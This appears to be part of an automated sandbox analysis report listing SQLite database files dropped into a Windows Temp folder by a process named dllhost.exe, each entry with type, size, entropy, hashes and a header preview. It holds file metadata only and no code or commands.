                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\EuTyH1fxOP

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\F4D9TxBgyP

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\F67JjsYrq4

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\FYba70vyAW

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\FZwLUNHu3n

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\FbiUPOgPhL

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\FjVQkqd4su

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Fn9yJ9Gb9w

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Fte0rDXm2A

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\FuOzhpx3iu

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\G20l7B3AlQ

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\GOSumlJPJb

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Gka1u6x68Y

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\HNbW6viPpn

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\HWvDc9OX2p

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\HcxP3YICDB

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\HjKnxALWIR

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\HtnHAR9qY8

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\IAhaVPFFhh

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\IGjeadakyJ

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\IL4fJGZiJL

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\IRTiYsyBmO

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
